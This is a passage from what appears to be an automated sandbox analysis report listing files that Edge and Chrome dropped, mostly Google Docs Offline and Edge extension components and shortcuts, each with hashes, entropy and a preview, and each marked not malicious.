SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\b09839b0-83bc-47c0-ab7e-0a91b117d47d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7956_2089082752\58abbb06-395d-45bc-b1b7-d181c91a852f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7956_2089082752\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7956_2089082752\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7956_2089082752\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7956_2089082752\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 28 06:55:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.985563809221762
Encrypted:	false
SSDEEP:	48:8I0dPTnfa8HvidAKZdA1oehwiZUklqehgy+3:8IY7k/y
MD5:	98D40CF298C438FBECF970BD5476147A
SHA1:	423283520C4D673F50C842C69F2856E2A8C1E8E1
SHA-256:	DFF1CB3977DE76B86CC1512290BCF45F4BA496A67D3DEACCBE798C53A85409BC
SHA-512:	039DE9BC148EE7464AF48B2D4346F5FD48D51BBD152BE99A741660AE44CD59F5895A1D4DA7D8C73D5C6BA4C0264D9373BED114F2881E47D6549FC102D53DADD6
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....L.jA..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I\|Y.>....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
